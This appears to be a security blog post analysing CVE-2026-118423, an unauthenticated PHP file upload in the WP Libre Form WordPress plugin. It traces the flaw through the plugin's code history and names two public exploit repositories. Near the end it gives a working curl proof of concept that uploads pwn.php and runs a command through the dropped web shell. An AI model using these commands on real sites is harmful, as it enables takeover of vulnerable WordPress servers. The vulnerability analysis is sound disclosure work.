//nefariousplan

CVE-2026-118423: WP Libre Form Asked the Question in 2016. The CVE Is the Answer.

patterns

cve

proof of concept

// Is this enough security wise? Line 68 of inc/wplf-ajax.php in WP Libre Form 1.5.0.1. Two statements below the comment, the handler calls move_uploaded_file() with a filename the HTTP caller supplied, writing it into wp-content/uploads/. The handler is registered on wp_ajax_nopriv_wplf_submit and wired to a REST route whose register_rest_route() call omits permission_callback. The author wrote the question in October 2016 and shipped the code. The WordPress Plugins Team closed the plugin for "Security Issue" on 2026-09-08, without a patch. CVE-2026-118423 was assigned 59 days later. The sites that installed this plugin for their contact form in 2017 are still running the code that asked the question and never answered it.

The handler lives in inc/wplf-ajax.php at line 8. Its registration lives two lines above it:

add_action( 'wp_ajax_wplf_submit', 'wplf_ajax_submit_handler' );
add_action( 'wp_ajax_nopriv_wplf_submit', 'wplf_ajax_submit_handler' );

The second add_action is the one that matters. wp_ajax_nopriv_* is WordPress's hook for actions that execute without an authenticated session. The author selected it on purpose: this is a contact-form plugin, and the whole point of a contact form is that visitors who are not logged in can submit it.

The file-upload block lives inside the handler at line 63:

// handle files
$uploads_path = wp_upload_dir();
$should_store_images_in_medialibrary = get_post_meta( $form->ID, '_wplf_media_library', true );
$counter = 0;
foreach ( $_FILES as $key => $file ) {
  // Is this enough security wise?
  // Currenly only supports 1 file per input
  if ( $should_store_images_in_medialibrary ) {
    $attach_id = media_handle_upload( $key, 0, array(), array( 'test_form' => false ) );
    // ... wp_get_attachment_url, add_post_meta on success ...
  } else {
      $name = 'lf_' . date( 'ymdhs' ) . '-' . $counter . '-' . sanitize_file_name( $file['name'] );
      move_uploaded_file( $file['tmp_name'], $uploads_path['path'] . '/' . $name );
      add_post_meta( $post_id, $key . '_attachment', $uploads_path['url'] . '/' . $name );
      $counter++;
  }
}

The fix was in the comment. The code shipped without it.

Three facts about the else-branch, in order.

sanitize_file_name() is a WordPress core helper. It strips reserved characters, collapses runs of whitespace, trims trailing dots and spaces. It does not inspect extensions. A caller that uploads pwn.php gets back pwn.php.

move_uploaded_file() is PHP's raw move. It does not inspect the destination's extension, the MIME type, the content, or anything else. It is the lowest-level upload sink the language ships. There is no path between it and the attacker's filename that checks for .php.

wp_upload_dir()['path'] resolves to wp-content/uploads/YYYY/MM. On every stock Apache WordPress install that directory falls inside the scope of AddHandler php-script .php. A file written there with a .php suffix becomes code at the moment the webserver maps a URL to it. No server misconfiguration is required. It is the default posture of a WordPress install.

This is the shape nefariousplan catalogs as todo-that-shipped: the fix was in a comment, the code shipped without it. The question-mark comment is the author's own hand, two lines above the raw move_uploaded_file() call, in the exact file CVE-2026-118423 names. The code around it shipped seven more times and then stopped shipping, with the question unanswered.

The comment survived the refactor that made it wrong.

The comment is not new. It was introduced in WP Libre Form 1.1, SVN-tagged 2016-10-26. Here is the 1.1 version of the same block:

// handle files
foreach( $_FILES as $key => $file) {
  // Is this enough security wise?
  // Currenly only supports 1 file per input
  $attach_id = media_handle_upload( $key, 0, array(), array( "test_form" => false ) );
  add_post_meta( $post_id, $key, wp_get_attachment_url($attach_id) );
  add_post_meta( $post_id, $key . "_attachment", $attach_id );
}

In 1.1, every upload went through media_handle_upload(). That function is WordPress core; it routes through wp_check_filetype_and_ext(), which rejects filenames whose extensions are not on get_allowed_mime_types(). PHP is not on that list on any default install. In 1.1 the comment's question had a defensible answer: media_handle_upload was enough.

Then a feature landed. Somewhere between 1.1 and 1.5 the plugin gained a per-form _wplf_media_library toggle, letting site owners opt out of the Media Library. The toggle is default-off. The new default path is the raw move_uploaded_file() call. The security-question comment survived the refactor unchanged, two spaces indented, same characters, now sitting above a code block whose answer is no longer the same. SVN shows seven more tagged releases across 2016 and 2017. None of them revisited the comment.

WordPress told you the plugin was wrong.

wp-libre-form.php line 97, the REST-route registration:

public function register_rest_routes() {
  register_rest_route( 'wplf/v1', 'submit', [
    'methods' => 'POST',
    'callback' => 'wplf_ajax_submit_handler', // admin-ajax handler, works but...
    // The REST API handbook discourages from using $_POST, and instead use $request->get_params()
  ]);
}

The permission_callback argument is missing. The REST API handbook specifies that a route without permission_callback defaults to callable, and that WordPress will emit a _doing_it_wrong notice on every request to the REST index to tell the operator the plugin shipped it wrong. The notice rides on the response header X-WP-DoingItWrong. The exact string is:

X-WP-DoingItWrong: The REST API route definition for wplf/v1/submit is missing the required permission_callback argument.

The framework noticed. The framework emitted the header. Every WordPress install that runs this plugin has been emitting that header on REST-index responses for nine years. Nobody who installed a contact-form plugin was ever going to read a response header. The author who wrote the registration noticed enough to leave a trailing // admin-ajax handler, works but... and a second comment one line below acknowledging that the REST API handbook discourages the exact pattern the registration uses.

Three warnings in two files, by the author's own hand, in the same release. None of them produced a permission_callback. None of them changed the question-mark comment four files over.

Three endpoints to the same sink.

The same handler is reachable three ways. POST /wp-admin/admin-ajax.php with action=wplf_submit, via the wp_ajax_nopriv_wplf_submit hook. POST /wp-json/wplf/v1/submit, via the REST route. POST /index.php?rest_route=/wplf/v1/submit, which bypasses pretty-permalinks and reaches the same REST route on plain-permalink installs. All three dispatch to wplf_ajax_submit_handler(). All three land a file in the same directory.

The filename is deterministic: lf_<yy><mm><dd><hh><ss>-<counter>-<sanitize_file_name(name)>, where <hh> is PHP's date('h'), twelve-hour clock, zero-padded, one through twelve. There is no minute. The counter resets per form submission. Both published PoCs read the server's Date response header to anchor the clock and then brute-force a window of seconds across the uploads directory.

# Upload. No session, no nonce, no login.
curl -s "http://TARGET/wp-admin/admin-ajax.php" \
  -F "action=wplf_submit" \
  -F "_form_id=32" \
  -F "[email protected];type=application/x-php;filename=pwn.php"
# {"ok":1,"submission_id":55,...}

# Browse the dropped file.
curl "http://TARGET/wp-content/uploads/2026/11/lf_2611061210-0-pwn.php?c=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

This is the shape nefariousplan catalogs as unauth-write-to-execution-path at its most unornamented. A nopriv hook. A raw move_uploaded_file(). A predictable filename. A directory the webserver executes .php out of by default. No bypass of any security layer; there is no security layer to bypass.

The plugin is closed. The installations are not.

The WordPress Plugins Team closed wp-libre-form from the plugin directory on 2026-09-08. The public reason on the plugin's listing is three words: Reason: Security Issue. CVE-2026-118423 was assigned 59 days later. There is no 1.5.0.2 in SVN. The author's GitHub has had no pushes to the plugin since 2018. The CVE record cites no fixed version because there is no fixed version. The vendor action ends at the directory listing; the already-installed copies are unchanged.

The plugin's WordPress.org page shows seven published reviews. The most recent, dated November 2020, is two sentences: Thank you. This plugin is the best and simple so far. It is signed by a WordPress administrator with a public profile. That administrator's site is the party the CVE describes. The role is "small-site owner who installed a contact-form plugin in 2017 and never thought about it again." The genre of the case is not sophisticated exploitation; there is nothing sophisticated in the chain. The genre is that the code that asked // Is this enough security wise? has been running on live WordPress sites for nine years, and the author who asked the question is gone.

Two PoC repositories landed within two days of one another in early November 2026. One, by 0xfay @ Cyber Alpha Labs, ships an --exploit flag, a --targets targets.txt mass mode, a thread-pool default of 10, and an interactive() menu whose option 4 reads Mass exploit (targets.txt). Its README is in Indonesian. Its architecture is not that of a researcher confirming one finding. The second, by thiscitze, is a clean single-target English script that stops at verification. The first is the operator's kit. The second is the write-up companion. Both authors independently reconstructed the twelve-hour filename clock inside two days of each other. Neither of them had to guess where the plugin was wrong, because WordPress tells them to.

PoCs: im0xfay/CVE-2026-118423, thiscitze/cve-2026-118423-poc

In 1.1 the question had a defensible answer. By 1.5 it did not. The comment never changed.